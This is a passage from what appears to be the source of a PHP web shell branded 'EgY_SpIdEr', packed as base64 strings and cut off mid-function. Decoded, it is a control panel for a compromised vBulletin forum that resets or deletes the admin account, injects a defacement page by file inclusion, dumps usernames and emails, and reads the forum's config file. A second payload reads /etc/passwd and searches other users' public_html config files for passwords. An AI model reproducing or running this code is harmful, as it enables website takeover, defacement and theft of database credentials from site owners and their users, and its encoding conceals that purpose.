C8+PC90aD4NCjx0cj48dGQ+VXNlciA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJ2YnVzZXIiIHZhbHVlPSJhZG1pbiIgLz48L3RkPjwvdHI+DQo8dHI+PHRkPk1BSUwgOiA8L3RkPjx0ZD48aW5wdXQgbmFtZT0idmJtYWlsIiB2YWx1ZT0iZWd5X3NwaWRlckBob3RtYWlsLmNvbSIgLz48L3RkPjwvdHI+DQo8L3RhYmxlPg0KPD8NCmVjaG8nPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iaG9zdCIgdmFsdWU9IicgLiAkaG9zdCAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InVzZXIiIHZhbHVlPSInIC4gJHVzZXIgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXNzIiB2YWx1ZT0iJyAuICRwYXNzIC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZGIiIHZhbHVlPSInIC4gJGRiIC4gJyI+JzsNCj8+DQo8L2Zvcm0+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Zm9ybSBuYW1lPSJjaGFuZ2VwYXNzIiBhY3Rpb249Ij9hY3Q9ZGVsIiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGJvcmRlcj0iMSIgYmdjb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9ImxpbWUiDQpib3JkZXJjb2xvcmRhcms9ImxpbWUiIGJvcmRlcmNvbG9ybGlnaHQ9ImxpbWUiPg0KPHRoPjo6Ojo6RGVsZXRlIGEgdXNlcjo6Ojo6PC90aD48dGg+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iQ2hhbmdlIiB2YWx1ZT0iQ2hhbmdlIiAvPjwvdGg+DQo8dHI+PHRkPlVzZXIgOiA8L3RkPjx0ZD48aW5wdXQgbmFtZT0idmJ1c2VyIiB2YWx1ZT0iYWRtaW4iIC8+PC90ZD48L3RyPg0KPC90YWJsZT4NCjw/DQplY2hvJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Imhvc3QiIHZhbHVlPSInIC4gJGhvc3QgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ1c2VyIiB2YWx1ZT0iJyAuICR1c2VyIC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGFzcyIgdmFsdWU9IicgLiAkcGFzcyAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRiIiB2YWx1ZT0iJyAuICRkYiAuICciPic7DQo/Pg0KPC9mb3JtPg0KPGhyIGNvbG9yPSIjMDBGRjAwIiAvPg0KPGZvcm0gbmFtZT0iY2hhbmdlcGFzcyIgYWN0aW9uPSI/YWN0PWluYyIgbWV0aG9kPSJwb3N0Ij4NCjx0YWJsZSBib3JkZXI9IjEiIGJnY29sb3I9IiMwMDAwMDAiIGJvcmRlcmNvbG9yPSJsaW1lIg0KYm9yZGVyY29sb3JkYXJrPSJsaW1lIiBib3JkZXJjb2xvcmxpZ2h0PSJsaW1lIj4NCjx0aD46Ojo6OkNoYW5nZSBJbmRleCBieSBJbmNsdXNpb24oTm90IFBMKEVnWSBTcElkRXIpKTo6Ojo6PC90aD48dGg+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iQ2hhbmdlIiB2YWx1ZT0iQ2hhbmdlIiAvPjwvdGg+DQo8dHI+PHRkPkluZGV4IExpbmsgOiA8L3RkPjx0ZD48aW5wdXQgbmFtZT0ibGluayIgdmFsdWU9Imh0dHA6Ly93d3cuZWd5c3BpZGVyLmV1L2hhY2tlZC5odG1sIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8Pw0KZWNobyc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJob3N0IiB2YWx1ZT0iJyAuICRob3N0IC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idXNlciIgdmFsdWU9IicgLiAkdXNlciAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhc3MiIHZhbHVlPSInIC4gJHBhc3MgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkYiIgdmFsdWU9IicgLiAkZGIgLiAnIj4nOw0KPz4NCjwvZm9ybT4NCjxociBjb2xvcj0iIzAwRkYwMCIgLz4NCjxmb3JtIG5hbWU9ImNoYW5nZXBhc3MiIGFjdGlvbj0iP2FjdD1jb2RlIiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGJvcmRlcj0iMSIgYmdjb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9ImxpbWUiDQpib3JkZXJjb2xvcmRhcms9ImxpbWUiIGJvcmRlcmNvbG9ybGlnaHQ9ImxpbWUiPg0KPHRoPjo6Ojo6Q2hhbmdlIEluZGV4IGJ5IENvZGUoQWxsIEVkaXRpb24pOjo6Ojo8L3RoPjx0aD48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJDaGFuZ2UiIHZhbHVlPSJDaGFuZ2UiIC8+PC90aD4NCjx0cj48dGQ+SW5kZXggQ29kZSA6IDwvdGQ+PHRkPjx0ZXh0YXJlYSBuYW1lPSJjb2RlIiBjb2xzPTYwIHJvd3M9MjA+PC90ZXh0YXJlYT48L3RkPjwvdHI+DQo8L3RhYmxlPg0KPD8NCmVjaG8nPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iaG9zdCIgdmFsdWU9IicgLiAkaG9zdCAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InVzZXIiIHZhbHVlPSInIC4gJHVzZXIgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXNzIiB2YWx1ZT0iJyAuICRwYXNzIC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZGIiIHZhbHVlPSInIC4gJGRiIC4gJyI+JzsNCj8+DQo8L2Zvcm0+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Zm9ybSBuYW1lPSJjaGFuZ2VwYXNzIiBhY3Rpb249Ij9hY3Q9c2hlbGwiIG1ldGhvZD0icG9zdCI+DQo8dGFibGUgYm9yZGVyPSIxIiBiZ2NvbG9yPSIjMDAwMDAwIiBib3JkZXJjb2xvcj0ibGltZSINCmJvcmRlcmNvbG9yZGFyaz0ibGltZSIgYm9yZGVyY29sb3JsaWdodD0ibGltZSI+DQo8dGg+Ojo6OjpJbmplY3QgRmlsZUluY2x1c2lvbiBFeHBsb2l0KE5PVCBQTChBTC1NQVNTWUEpKTo6Ojo6PC90aD48dGg+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iQ2hhbmdlIiB2YWx1ZT0iQ2hhbmdlIiAvPjwvdGg+DQo8dHI+PHRkPlZhcmlhYmxlIDogPC90ZD48dGQ+PGlucHV0IG5hbWU9InZhciIgdmFsdWU9InNoZWxsIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8Pw0KZWNobyc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJob3N0IiB2YWx1ZT0iJyAuICRob3N0IC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idXNlciIgdmFsdWU9IicgLiAkdXNlciAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhc3MiIHZhbHVlPSInIC4gJHBhc3MgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkYiIgdmFsdWU9IicgLiAkZGIgLiAnIj4nOw0KPz4NCjwvZm9ybT4NCjw/DQp9DQppZiAoJGFjdCA9PSAnJyl7DQo/Pg0KPGZvcm0gbmFtZT0ibXlmb3JtIiBhY3Rpb249Ij9hY3Q9bG9naW4iIG1ldGhvZD0icG9zdCI+DQo8dGFibGUgYm9yZGVyPSIxIiBiZ2NvbG9yPSIjMDAwMDAwIiBib3JkZXJjb2xvcj0ibGltZSINCmJvcmRlcmNvbG9yZGFyaz0ibGltZSIgYm9yZGVyY29sb3JsaWdodD0ibGltZSI+DQo8dGg+Ojo6OjpEQVRBQkFTRSBDT05GSUc6Ojo6OjwvdGg+PHRoPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IkNvbm5lY3QiIHZhbHVlPSJDb25uZWN0IiAvPjwvdGg+PHRyPjx0ZD5Ib3N0IDogPC90ZD48dGQ+PGlucHV0IG5hbWU9Imhvc3QiIHZhbHVlPSJsb2NhbGhvc3QiIC8+PC90ZD48L3RyPg0KPHRyPjx0ZD5Vc2VyIDogPC90ZD48dGQ+PGlucHV0IG5hbWU9InVzZXIiIHZhbHVlPSJyb290IiAvPjwvdGQ+PC90cj4NCjx0cj48dGQ+UGFzcyA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJwYXNzIiB2YWx1ZT0iIiAvPjwvdGQ+PC90cj4NCjx0cj48dGQ+TmFtZSA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJkYiIgdmFsdWU9InZiIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8L2Zvcm0+DQoNCjw/DQp9DQppZiAoJGFjdCA9PSAnbHN0JyAmJiBpc3NldCgkX1BPU1RbJ3VzZXInXSkgJiYgaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmIGlzc2V0KCRfUE9TVFsnaG9zdCddKSAmJiBpc3NldCgkX1BPU1RbJ2RiJ10pKQ0Kew0KJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsNCiR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KJGRiID0gJF9QT1NUWydkYiddOw0KbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcykgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCB1c2VyPC9mb250PicpOw0KbXlzcWxfc2VsZWN0X2RiKCRkYikgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCBEQjwvZm9udD4nKTsNCmlmICgkcGFzcyA9PSAnJykNCnsNCiRucGFzcyA9ICdOVUxMJzsNCn0gZWxzZSB7DQokbnBhc3MgPSAkcGFzczsNCn0NCmVjaG8nPGZvbnQgc2l6ZT0zPllvdSBhcmUgY29ubmVjdGVkIHdpdGggdGhlIG15c3FsIHNlcnZlciBvZiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRob3N0IC4gJzwvZm9udD4gYnkgdXNlciA6IDxmb250IGNvbG9yPXllbGxvdz4nIC4gJHVzZXIgLiAnPC9mb250PiAsIHBhc3MgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRucGFzcyAuICc8L2ZvbnQ+IGFuZCBzZWxlY3RlZCBEQiB3aXRoIHRoZSBuYW1lIDxmb250IGNvbG9yPXllbGxvdz4nIC4gJGRiIC4gJzwvZm9udD48L2ZvbnQ+JzsNCj8+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Pw0KJHJlID0gbXlzcWxfcXVlcnkoJ3NlbGVjdCAqIGZyb20gdXNlcicpOw0KZWNobyc8dGFibGUgYm9yZGVyPSIxIiBiZ2NvbG9yPSIjMDAwMDAwIiBib3JkZXJjb2xvcj0ibGltZSINCmJvcmRlcmNvbG9yZGFyaz0ibGltZSIgYm9yZGVyY29sb3JsaWdodD0ibGltZSI+PHRoPklEPC90aD48dGg+VVNFUk5BTUU8L3RoPjx0aD5FTUFJTDwvdGg+JzsNCndoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlKSkNCnsNCmVjaG8nPHRyPjx0ZD4nIC4gJHJvd1sndXNlcmlkJ10gLiAnPC90ZD48dGQ+JyAuICRyb3dbJ3VzZXJuYW1lJ10gLiAnPC90ZD48dGQ+JyAuICRyb3dbJ2VtYWlsJ10gLiAnPC90ZD48L3RyPic7DQp9DQplY2hvJzwvdGFibGU+JzsNCj8+DQo8dGFibGUgYm9yZGVyPSIxIiBiZ2NvbG9yPSIjMDAwMDAwIiBib3JkZXJjb2xvcj0ibGltZSINCmJvcmRlcmNvbG9yZGFyaz0ibGltZSIgYm9yZGVyY29sb3JsaWdodD0ibGltZSI+PHRoPjw/DQokY291bnQgPSBteXNxbF9udW1fcm93cygkcmUpOw0KZWNobyAnTnVtYmVyIG9mIHVzZXJzIHJlZ2lzdGVyZWQgaXMgOiBbICcgLiAkY291bnQgLiAnIF0nOw0KID8+PC90aD48L3RhYmxlPg0KPD8NCn0NCmlmICgkYWN0ID09ICd1c2Vycycpew0KPz4NCiA8Zm9ybSBuYW1lPSJteWZvcm0iIGFjdGlvbj0iP2FjdD1sc3QiIG1ldGhvZD0icG9zdCI+DQo8dGFibGUgYm9yZGVyPSIxIiBiZ2NvbG9yPSIjMDAwMDAwIiBib3JkZXJjb2xvcj0ibGltZSINCmJvcmRlcmNvbG9yZGFyaz0ibGltZSIgYm9yZGVyY29sb3JsaWdodD0ibGltZSI+DQo8dGg+Ojo6OjpEQVRBQkFTRSBDT05GSUc6Ojo6OjwvdGg+PHRoPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IkNvbm5lY3QiIHZhbHVlPSJDb25uZWN0IiAvPjwvdGg+PHRyPjx0ZD5Ib3N0IDogPC90ZD48dGQ+PGlucHV0IG5hbWU9Imhvc3QiIHZhbHVlPSJsb2NhbGhvc3QiIC8+PC90ZD48L3RyPg0KPHRyPjx0ZD5Vc2VyIDogPC90ZD48dGQ+PGlucHV0IG5hbWU9InVzZXIiIHZhbHVlPSJyb290IiAvPjwvdGQ+PC90cj4NCjx0cj48dGQ+UGFzcyA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJwYXNzIiB2YWx1ZT0iIiAvPjwvdGQ+PC90cj4NCjx0cj48dGQ+TmFtZSA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJkYiIgdmFsdWU9InZiIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8L2Zvcm0+DQo8Pw0KfQ0KaWYgKCRhY3Q9PSdjb25maWcnKQ0Kew0KPz4NCjxmb3JtIG5hbWU9Im15Zm9ybSIgYWN0aW9uPSI/YWN0PXJlY29uZmlnIiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGJvcmRlcj0iMSIgYmdjb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9ImxpbWUiDQpib3JkZXJjb2xvcmRhcms9ImxpbWUiIGJvcmRlcmNvbG9ybGlnaHQ9ImxpbWUiPg0KPHRoPjo6Ojo6Q09ORklHIFBBVEg6Ojo6OjwvdGg+PHRoPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IkNvbm5lY3QiIHZhbHVlPSJSZWFkIiAvPjwvdGg+DQo8dHI+PHRkPlBBVEggOiA8L3RkPjx0ZD48aW5wdXQgbmFtZT0icGF0aCIgdmFsdWU9Ii9ob21lL2hhY2tlZC9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwIiAvPjwvdGQ+PC90cj48L3RhYmxlPjwvZm9ybT4NCjw/DQp9DQppZiAoJGFjdD09J2luZGV4JykNCnsNCi8vIEluZGV4IEVkaXRvcjxIVE1MIEVkaXRvcj4NCj8+DQo8c2NyaXB0IGxhbmd1YWdlPSdqYXZhc2NyaXB0Jz4NCmZ1bmN0aW9uIGxpbmsoKXsNCnZhciBYID0gcHJvbXB0KCJFbnRlclRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCnZhciB5ID0gcHJvbXB0KCJFbnRlcmxpbmsiLCIiKQ0KaWYgKHk9PSIiIHwgeT09bnVsbCApIHsNCnJldHVybjsNCn0NCg0KaW5kZXhmb3JtLmluZGV4LnZhbHVlPWluZGV4Zm9ybS5pbmRleC52YWx1ZSArICI8YSBocmVmPSIgKyB5ICsiPiIrWCsiPC9hPiI7DQoNCn0NCg0KZnVuY3Rpb24gcmlnaHQoKXsNCnZhciBYID0gcHJvbXB0KCJFbnRlciBUZXh0IiwiIikNCmlmIChYPT0iIiB8IFg9PW51bGwgKSB7DQpyZXR1cm47DQp9DQppbmRleGZvcm0uaW5kZXgudmFsdWU9aW5kZXhmb3JtLmluZGV4LnZhbHVlICsgIjxwIGFsaWduPSdyaWdodCc+IitYKyI8L3A+IjsNCg0KfQ0KZnVuY3Rpb24gbGVmdCgpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyIFRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPHAgYWxpZ249J2xlZnQnPiIrWCsiPC9wPiI7DQoNCn0NCmZ1bmN0aW9uIGNlbnRlcigpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyIFRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPGNlbnRlcj4iK1grIjwvY2VudGVyPiI7DQoNCn0NCmZ1bmN0aW9uIGNvbG91cigpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyVGV4dCIsIiIpDQppZiAoWD09IiIgfCBYPT1udWxsICkgew0KcmV0dXJuOw0KfQ0KdmFyIHkgPSBwcm9tcHQoIkVudGVyQ29sb3VyIiwiIikNCmlmICh5PT0iIiB8IHk9PW51bGwgKSB7DQpyZXR1cm47DQp9DQoNCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPGZvbnQgY29sb3I9IiArIHkgKyI+IitYKyI8L2ZvbnQ+IjsNCg0KfQ0KZnVuY3Rpb24gYigpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyIFRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPEI+IitYKyI8L0I+IjsNCg0KfQ0KZnVuY3Rpb24gdSgpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyIFRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPFU+IitYKyI8L1U+IjsNCg0KfQ0KZnVuY3Rpb24gaSgpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyIFRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPEk+IitYKyI8L0k+IjsNCg0KfQ0KZnVuY3Rpb24gbWFyKCl7DQp2YXIgWCA9IHByb21wdCgiRW50ZXIgVGV4dCIsIiIpDQppZiAoWD09IiIgfCBYPT1udWxsICkgew0KcmV0dXJuOw0KfQ0KaW5kZXhmb3JtLmluZGV4LnZhbHVlPWluZGV4Zm9ybS5pbmRleC52YWx1ZSArICI8bWFycXVlZT4iK1grIjwvbWFycXVlZT4iOw0KDQp9DQpmdW5jdGlvbiBpbWcoKXsNCnZhciBYID0gcHJvbXB0KCJFbnRlciBsaW5rIiwiIikNCmlmIChYPT0iIiB8IFg9PW51bGwgKSB7DQpyZXR1cm47DQp9DQppbmRleGZvcm0uaW5kZXgudmFsdWU9aW5kZXhmb3JtLmluZGV4LnZhbHVlICsgIjxpbWcgc3JjPSciK1grIic+PC9pbWc+IjsNCg0KfQ0KZnVuY3Rpb24gYnIoKXsNCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPGJyPiI7DQoNCn0NCjwvc2NyaXB0Pg0KPHRhYmxlIGJvcmRlcj0iMSIgYm9yZGVyY29sb3I9IiMwMDgwMDAiIGJvcmRlcmNvbG9yZGFyaz0iIzAwODAwMCINCmJvcmRlcmNvbG9ybGlnaHQ9IiMwMDgwMDAiPjx0aD48YSBvbmNsaWNrPSdyZXR1cm4gY2VudGVyKCknPkNlbnRlcjwvYT4gfHx8IDxhIG9uY2xpY2s9J3JldHVybiBsZWZ0KCknPkxlZnQ8L2E+IHx8fCA8YSBvbmNsaWNrPSdyZXR1cm4gcmlnaHQoKSc+cmlnaHQ8L2E+IHx8fCA8YSBvbmNsaWNrPSdyZXR1cm4gYigpJz5Cb2xkPC9hPiB8fHwgPGEgb25jbGljaz0ncmV0dXJuIHUoKSc+VW5kZXJMaW5lPC9hPiB8fHwgPGEgb25jbGljaz0ncmV0dXJuIGkoKSc+SXRhbGljPC9hPiB8fHwgPGEgb25jbGljaz0ncmV0dXJuIGJyKCknPk5ld0xpbmU8L2E+IHx8fCA8YSBvbmNsaWNrPSdyZXR1cm4gY29sb3VyKCknPkNvbG91cjwvYT4gfHx8IDxhIG9uY2xpY2s9J3JldHVybiBtYXIoKSc+TWFycXVlZSB8fHwgPGEgb25jbGljaz0ncmV0dXJuIGltZygpJz5QaWN0dXJlPC9hPiB8fHwgPGEgb25jbGljaz0ncmV0dXJuIGxpbmsoKSc+TGluazwvYT48L2E+PC90aD48dHI+PFREPg0KPGNlbnRlcj48Zm9ybSBuYW1lPSJpbmRleGZvcm0iIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPjx0ZXh0YXJlYSBuYW1lPSdpbmRleCcgcm93cz0nMTQnIGNvbHM9Jzg2Jz48L3RleHRhcmVhPjwvcD4NCjwvZm9ybT48L2Zvcm0+PC9jZW50ZXI+DQo8L1REPjwvdHI+PHRyPjx0ZD5Db3B5IFRoZSBDb2RlIGFmdGVyIEZpbmlzaGluZyB5b3VyIGluZGV4PC90ZD48L3RyPjwvdGFibGU+DQo8Pw0KfQ0KPz4NCjxociBjb2xvcj0iIzAwRkYwMCIgLz4NCjx0YWJsZSBib3JkZXI9IjEiIGJnY29sb3I9IiMwMDAwMDAiIGJvcmRlcmNvbG9yPSJsaW1lIg0KYm9yZGVyY29sb3JkYXJrPSJsaW1lIiBib3JkZXJjb2xvcmxpZ2h0PSJsaW1lIj48dHI+PHRkPjxhIGhyZWY9Ij8iPk1haW4gU2hlbGw8L2E+PC90ZD48dGQ+PGEgaHJlZj0iP2FjdD11c2VycyI+TGlzdCBVc2VyczwvYT48L3RkPjx0ZD48YSBocmVmPSI/YWN0PWluZGV4Ij5JbmRleCBNYWtlcjwvYT48L3RkPjx0ZD48YSBocmVmPSI/YWN0PWNvbmZpZyI+UmVhZENvbmZpZzwvYT48L3RkPjwvdHI+PC90YWJsZT4NCjxwIGFsaWduPSJjZW50ZXIiPnd3dy5lZ3lzcGlkZXIuZXU8L3A+DQo8RElWIGlkPSJuIiBhbGlnbj0iY2VudGVyIj4NCiAgPFRBQkxFIGJvcmRlckNvbG9yPSIjMTExMTExIiBjZWxsU3BhY2luZz0iMCIgY2VsbFBhZGRpbmc9IjAiIHdpZHRoPSIxMDAlIiBib3JkZXI9IjEiPg0KICAgIDxUQk9EWT4NCiAgICAgIDxUUj4NCiAgICAgICAgPFREIHdpZHRoPSIxMDAlIj48cCBhbGlnbj0iY2VudGVyIj48U1RST05HPm8tLS1bIEVnWV9TcElkRXIgfCB8IDxBIGVneV9zcGlkZXJAaG90bWFpbC5jb20+ZWd5X3NwaWRlckBob3RtYWlsLmNvbTwvQT4gICBdLS0tbzwvU1RST05HPjwvcD48L1REPg0KICAgICAgPC9UUj4NCiAgICA8L1RCT0RZPg0KICA8L1RBQkxFPg0KPC9ESVY+DQo8L2NlbnRlcj4gDQogPC9ib2R5Pg0KPC9odG1sPg="; + +$egy_cp="PD9waHAgDQplY2hvICI8aHRtbD4iOyANCmVjaG8gIjx0aXRsZT5FZ1lfU3BJZEVyIFNoRWxMIDwvdGl0bGU+PFNUWUxFPg0KDQpCT0RZDQogew0KICAgICAgICBTQ1JPTExCQVItRkFDRS1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLUhJR0hMSUdIVC1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLVNIQURPVy1DT0xPUjogIzAwMDAwMDsgQ09MT1I6ICM2NjY2NjY7IFNDUk9MTEJBUi0zRExJR0hULUNPTE9SOiAjNzI2NDU2OyBTQ1JPTExCQVItQVJST1ctQ09MT1I6ICM3MjY0NTY7IFNDUk9MTEJBUi1UUkFDSy1DT0xPUjogIzI5MjkyOTsgRk9OVC1GQU1JTFk6IFZlcmRhbmE7IFNDUk9MTEJBUi1EQVJLU0hBRE9XLUNPTE9SOiAjNzI2NDU2DQp9DQoNCi50ZDEgew0KQk9SREVSOiAxOw0KZm9udDogN3B0IHRhaG9tYTsNCmNvbG9yOiAjZmZmZmZmOw0KfQ0KDQoudHIxIHsNCkJPUkRFUjogMTsNCmNvbG9yOiAjMzMzMzMzOw0KfQ0KdGFibGUgew0KQk9SREVSOiAgI2VlZWVlZSAgb3V0c2V0Ow0KQkFDS0dST1VORC1DT0xPUjogIzAwMDAwMDsNCmNvbG9yOiAjMzMzMzMzOw0KfQ0KdGV4dGFyZWEgew0KQk9SREVSLVJJR0hUOiAgI2ZmZmZmZiAxIHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzk5OTk5OSAxIHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzk5OTk5OSAxIHNvbGlkOw0KQk9SREVSLUJPVFRPTTogI2ZmZmZmZiAxIHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzMzMzMzMzsNCmZvbnQ6IEZpeGVkc3lzIGJvbGQ7DQpjb2xvcjogI2ZmZmZmZjsNCn0NCkJPRFkgew0KbWFyZ2luOiAxOw0KY29sb3I6ICMzMzMzMzM7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOw0KfQ0KQTpsaW5rIHtDT0xPUjpyZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZX0NCkE6dmlzaXRlZCB7IENPTE9SOnJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lfQ0KQTphY3RpdmUge0NPTE9SOnJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lfQ0KQTpob3ZlciB7Y29sb3I6Ymx1ZTtURVhULURFQ09SQVRJT046IG5vbmV9DQoNCjwvU1RZTEU+PGJvZHk+IjsgDQoNCnNldF90aW1lX2xpbWl0KDApOyANCiMjIyMjIyMjIyMjIyMjIyMjIyANCkAkcGFzc3dkPWZvcGVuKCcvZXRjL3Bhc3N3ZCcsJ3InKTsgDQppZiAoISRwYXNzd2QpIHsgDQogIGVjaG8gIlstXSBFcnJvciA6IGNvdWRuJ3QgcmVhZCAvZXRjL3Bhc3N3ZCI7IA0KICBleGl0OyANCn0gDQokcGF0aF90b19wdWJsaWM9YXJyYXkoKTsgDQokdXNlcnM9YXJyYXkoKTsgDQokcGF0aHRvY29uZj1hcnJheSgpOyANCiRpPTA7IA0KDQp3aGlsZSghZmVvZigkcGFzc3dkKSkgeyANCiRzdHI9ZmdldHMoJHBhc3N3ZCk7IA0KaWYgKCRpPjM1KSB7IA0KICAgJHBvcz1zdHJwb3MoJHN0ciwiOiIpOyANCiAgICR1c2VybmFtZT1zdWJzdHIoJHN0ciwwLCRwb3MpOyANCiAgICRkaXJ6PSIvaG9tZS8kdXNlcm5hbWUvcHVibGljX2h0bWwvIjsgDQogICBpZiAoKCR1c2VybmFtZSE9IiIpKSB7IA0KICAgICAgIGlmIChpc19yZWFkYWJsZSgkZGlyeikpIHsgDQogICAgICAgICAgIGFycmF5X3B1c2goJHVzZXJzLCR1c2VybmFtZSk7IA0KICAgICAgICAgICBhcnJheV9wdXNoKCRwYXRoX3RvX3B1YmxpYywkZGlyeik7IA0KICAgICAgIH0gDQogICB9IA0KfSANCiRpKys7IA0KfSANCiMjIyMjIyMjIyMjIyMjIyMjIyMgDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgDQplY2hvICI8YnI+PGJyPiI7IA0KZWNobyAiPHRleHRhcmVhIG5hbWU9J21haW5fd2luZG93JyBjb2xzPTEwMCByb3dzPTIwPiI7IA0KDQplY2hvICJbK10gRm91bmRlZCAiLnNpemVvZigkdXNlcnMpLiIgZW50cnlzIGluIC9ldGMvcGFzc3dkXG4iOyANCmVjaG8gIlsrXSBGb3VuZGVkICIuc2l6ZW9mKCRwYXRoX3RvX3B1YmxpYykuIiByZWFkYWJsZSBwdWJsaWNfaHRtbCBkaXJlY3Rvcmllc1xuIjsgDQoNCmVjaG8gIlt+XSBTZWFyY2hpbmcgZm9yIHBhc3N3b3JkcyBpbiBjb25maWcuKiBmaWxlcy4uLlxuXG4iOyANCmZvcmVhY2ggKCR1c2VycyBhcyAkdXNlcikgeyANCiAgICAgICAkcGF0aD0iL2hvbWUvJHVzZXIvcHVibGljX2h0bWwvIjsgDQogICAgICAgcmVhZF9kaXIoJHBhdGgsJHVzZXIpOyANCn0gDQoNCmVjaG8gIlxuWytdIERvbmVcbiI7IA0KDQpmdW5jdGlvbiByZWFkX2RpcigkcGF0aCwkdX